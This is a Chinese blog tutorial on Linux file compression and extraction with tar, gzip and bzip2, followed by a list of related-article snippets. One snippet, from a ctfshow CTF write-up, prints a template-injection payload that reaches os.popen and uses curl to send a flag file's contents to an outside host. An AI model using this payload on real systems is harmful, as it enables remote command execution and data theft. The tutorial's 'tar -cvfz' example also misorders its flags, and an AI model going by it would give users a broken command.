Linux中文件常用的压缩与解压


天行健,君子以自强不息;地势坤,君子以厚德载物。


每个人都有惰性,但不断学习是好好生活的根本,共勉!


文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。


故人西辞黄鹤楼,烟花三月下扬州。
——《黄鹤楼送孟浩然之广陵》


文章目录

  • 文件常用的压缩与解压
    • 1. 常见压缩与解压
      • 1.1 压缩文件
        • 1.1.1 语法
        • 1.1.2 举例
        • 1.1.3 参数
      • 1.2 解压缩
        • 1.2.1 语法
        • 1.2.2 举例
        • 1.2.3 参数
    • 2. 查看压缩文件中的内容
    • 3. 使用tar和gzip压缩与解压文件
      • 3.1 压缩为tar.gz文件
        • 3.1.1 语法
        • 3.1.2 举例
        • 3.1.3 语法2
      • 3.2 解压tar.gz文件
        • 3.2.1 语法
        • 3.2.2 语法2
      • 3.3 一个命令完成压缩为tar.gz文件
      • 3.4 一个命令完成解压tar.gz文件
      • 3.5 解开tar.Z的文件
      • 3.6 解开.tgz文件
    • 4. 压缩和解压缩.bz2的包
      • 4.1 压缩
      • 4.2 解压
      • 4.3 解压tar.bz2的包


Linux入门专栏
Linux入门学习指南
Linux入门学习指南(二)


文件常用的压缩与解压

Linux系统中常用的压缩与解压文件

1. 常见压缩与解压

Linux中一般将文件压缩为tar.gz结尾文件
tar.gz文件命名

其中tar是把文件打成一个包,并不压缩
gz是用gzip把打成包的.tar文件压缩,所以最后的结果是.tar.gz

1.1 压缩文件

压缩

1.1.1 语法

压缩文件的语法

tar -cvfz 文件名.tar.gz 需要压缩的文件或目录
1.1.2 举例

将当前位置的test文件夹压缩为backup.tar.gz

tar -cvfz backup.tar.gz ./test/

当然,如果不想压缩,只想打包为tar,则可以执行如下

tar -cvf backup.tar ./test/
1.1.3 参数

可用参数及其描述如下

参数描述
-c--create 创建一个压缩文件
-v--verbose 处理后
-f--file 指定文件名
-z--gzip,--ungzip 过滤

1.2 解压缩

1.2.1 语法

语法如下

tar xvfz 文件名.tar.gz 压缩文件存储目录
1.2.2 举例

举例如下

tar xvfz backup.tar.gz ./test/
1.2.3 参数

参数与描述如下

参数描述
-x--extract,--get 解压一个文件
-v--verbose 处理后
-f--file 指定文件名
-z--gzip,--ungzip 过滤

2. 查看压缩文件中的内容

查看压缩文件中的文件列表

tar -tvzf *.tar.gz

参数

参数描述
-t--list 列举压缩文件中的文件
-r--append 添加文件到压缩文件中

3. 使用tar和gzip压缩与解压文件

关于tar和gzip的使用方法

3.1 压缩为tar.gz文件

将文件夹压缩为tar.gz后缀的压缩文件

3.1.1 语法

先执行打包

tar cvf 压缩后的文件名.tar 压缩前的文件夹

然后执行压缩

gzip -q 压缩后的文件名.tar
3.1.2 举例

如将文件夹/test压缩为test.tar文件

tar cvf test.tar /test
gzip -q test.tar
3.1.3 语法2

除了上面的语法还可以使用以下命令

tar cvfz 压缩后的文件名.tar.gz 压缩前的文件夹目录

3.2 解压tar.gz文件

解压一个后缀为tar.gz的文件

3.2.1 语法
gunzip 压缩文件名.tar.gz
tar xvf 压缩文件名.tar
3.2.2 语法2
tar xvfz 压缩文件名.tar.gz

3.3 一个命令完成压缩为tar.gz文件

tar cvf - 待压缩的文件夹 | gzip -qc > 压缩后的文件名.tar.gz

3.4 一个命令完成解压tar.gz文件

gunzip -c 压缩文件名.tar.gz | tar xvf -

3.5 解开tar.Z的文件

tar xvfz 压缩文件名.tar.Z

uncompress 压缩文件名.tar.Z
tar xvf 压缩文件名.tar

3.6 解开.tgz文件

gunzip 压缩文件名.tgz

4. 压缩和解压缩.bz2的包

4.1 压缩

bzip2 待压缩文件

4.2 解压

bunzip2 待解压文件

注意 bz2压缩格式不常用

4.3 解压tar.bz2的包

tar jxf 待解压文件

感谢阅读,祝君暴富!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32187.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大模型Transformer讲解

文章目录 1. Transformer 原理1.1 注意力机制 (Attention Mechanism)1.2 多头注意力 (Multi-Head Attention) 2. Transformer 设计2.1 编码器 (Encoder)2.2 解码器 (Decoder) 3. Transformer 应用3.1 自然语言处理 (NLP)3.2 计算机视觉 (Computer Vision) 4. Transformer 优点和…

Android 判断手机桌面是否已经存在App的快捷方式

我们需要在桌面添加快捷方式的时候,为了优化体验,有时候需要判断桌面上是否已经存在快捷方式。 经过自己探索整理,代码如下: /*** 判断桌面是否已添加快捷方式*/fun hasShortcut(context: Context): Boolean {try {var result f…

基于AT89C52单片机的温度报警系统

点击链接获取Keil源码与Project Backups仿真图: https://download.csdn.net/download/qq_64505944/89456321?spm=1001.2014.3001.5503 仿真构造:AT89C52+DS18B20温度模块+三按键+蜂鸣器+四位数码管显示+电源模块。 压缩包构造:源码+仿真图+设计文档+原理图+开题文档+元件…

Java宝藏实验资源库(3)类

一、实验目的 理解面向对象程序的基本概念。掌握类的继承的实现机制。熟悉类中成员的访问控制方法。熟悉ArrayList类的使用。 二、实验内容、过程及结果 *9.5Programming Exerc ise the GregorianCal endar class) Java API has the GregorianCalendar class in the java. uti…

民生银行北京分行金融科技校招面试记录

本文介绍2024届春招中,中国民生银行下属北京分行的金融科技岗位1场面试的基本情况、提问问题等。 2024年04月投递了中国民生银行下属北京分行的金融科技岗位,暂时不清楚所在部门。目前完成了一面与终面,在这里记录一下面试的相关经历。 首先&…

LayoutSystem布局系统

简介: LayoutSystem,是UGUI中由CanvasUpdateSystem发起(m_LayoutRebuildQueue中大部分都是LayoutRebuilder)的关于布局排列的处理系统。 类图: 布局过程 核心代码讲解: LayoutRebuilder

前端编程语言——JS语言结构、函数、数组、字符串、日期、对象、定时器(2)

0、前言: 这篇文章记录的是我自己的学习笔记。在python中通过input来获取输入,在JS中用prompt(),来获取输入。写JS代码要记得每个代码结束要加上分号。 1、JS编程语言结构: 顺序结构:从上往下依次执行分支结构&#…

【数据结构】顺序表实操——通讯录项目

Hi~!这里是奋斗的小羊,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 💥💥个人主页:奋斗的小羊 💥💥所属专栏:C语言 🚀本系列文章为个人学习…

三电平光伏逆变器高效DPWM研究

1. 引言 本文从效率 提升角度出发 , 详细分析了逆变器不同调制策略下开关 器件及滤波器损耗分布情况 , 并在 50kW 组串式三电平光伏逆变器上对比分析采用 SVPWM 和 DPWM 两种 调制方法对逆变器效率和谐波的影响 , 最终验证了采用 DPWM 调制策略的优越性。 2 SVPWM 和 DPWM 对比…

OpenCV 特征点检测与匹配

一 OpenCV特征场景 ①图像搜索,如以图搜图; ②拼图游戏; ③图像拼接,将两长有关联得图拼接到一起; 1 拼图方法 寻找特征 特征是唯一的 可追踪的 能比较的 二 角点 在特征中最重要的是角点 灰度剃度的最大值对应的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

SpringSecurity实战入门——授权

权限系统的作用 例如一个学校图书馆的管理系统,如果是普通学生登录就能看到借书还书相关的功能,不可能让他看到并且去使用添加书籍信息,删除书籍信息等功能。但是如果是一个图书馆管理员的账号登录了,应该就能看到并使用添加书籍信息,删除书籍信息等功能。 总结起来就是…

如何在 Tailwind CSS 中实现居中对齐

如何在 Tailwind CSS 中实现居中对齐&#xff1a; 1. 使用 text-center 类&#xff08;针对行内元素或行内块元素&#xff09; 这个类用于将文本或行内块元素水平居中对齐。 <div class"text-center"><span>这是一个行内元素</span> </div&g…

OpenCV Mat实现图像四则运算及常用四则运算的API函数

装载有图像数据的OpenCV Mat对象&#xff0c;可以说是一个图像矩阵&#xff0c;可以进行加、减、乘、除运算。特别是加运算特别有用。 一 与常数的四则运算 与常数的加运算 示例&#xff1a; #include <iostream> #include <opencv2/opencv.hpp>using namespace …

10.华为路由器使用ospf动态路由连通两个部门网络

目的&#xff1a;实验ospf动态路由协议连通A与B部门 AR1配置 [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.1 24 [Huawei]vlan batch 10 [Huawei]int Vlanif 10 [Huawei]int e0/0/0 [Huawei-Ethernet0/0/0]port link-type access [Huawei-Ethernet0/0/0]por…

SpringCloud中Eureka和Nacos的区别和各自的优点

Eureka注册中心 Eureka作为一个注册中心&#xff0c;服务提供者把服务注册到注册中心&#xff0c;服务消费者去注册中心拉取信息&#xff0c; 然后通过负载均衡得到对应的服务器去访问。 服务提供者每隔30s向注册中心发送请求&#xff0c;报告自己的状态&#xff0c;当超过一定…

解析Java中1000个常用类:Arrays类,你学会了吗?

推荐一个我自己写的程序员在线工具站: http://cxytools.com 提供一站式在线工具平台,专为程序员设计,包括时间日期、JSON处理、SQL格式化、随机字符串生成、UUID生成、随机数生成、文本Hash等功能,提升开发效率。 以下是正文。 在 Java 编程中,数组是基础且常用的数据结…

对比学习

对比学习基本概念 对比学习通过对比数据对的“相似”或“不同”以获取数据的高阶信息。 由同一张原始图片扩增而来的两张新的图片&#xff0c;叫做Positive Pairs。将这两张图片送入深度学习模型中&#xff0c;我们希望深度学习模型学习到这两个图像是相似的。 由不同原始图…

Flutter-实现头像叠加动画效果

实现头像叠加动画效果 在这篇文章中&#xff0c;我们将介绍如何使用 Flutter 实现一个带有透明度渐变效果和过渡动画的头像叠加列表。通过这种效果&#xff0c;可以在图片切换时实现平滑的动画&#xff0c;使 UI 更加生动和吸引人。 需求 我们的目标是实现一个头像叠加列表&…

hadoop常见简单基础面试题

文章目录 hadoop简单基础面试题1. 请说下 HDFS 读写流程2. HDFS 在读取文件的时候&#xff0c;如果其中一个块突然损坏了怎么办3. HDFS 在上传文件的时候&#xff0c;如果其中一个 DataNode 突然挂掉了怎么办4. NameNode 在启动的时候会做哪些操作5.Secondary NameNode 了解吗&…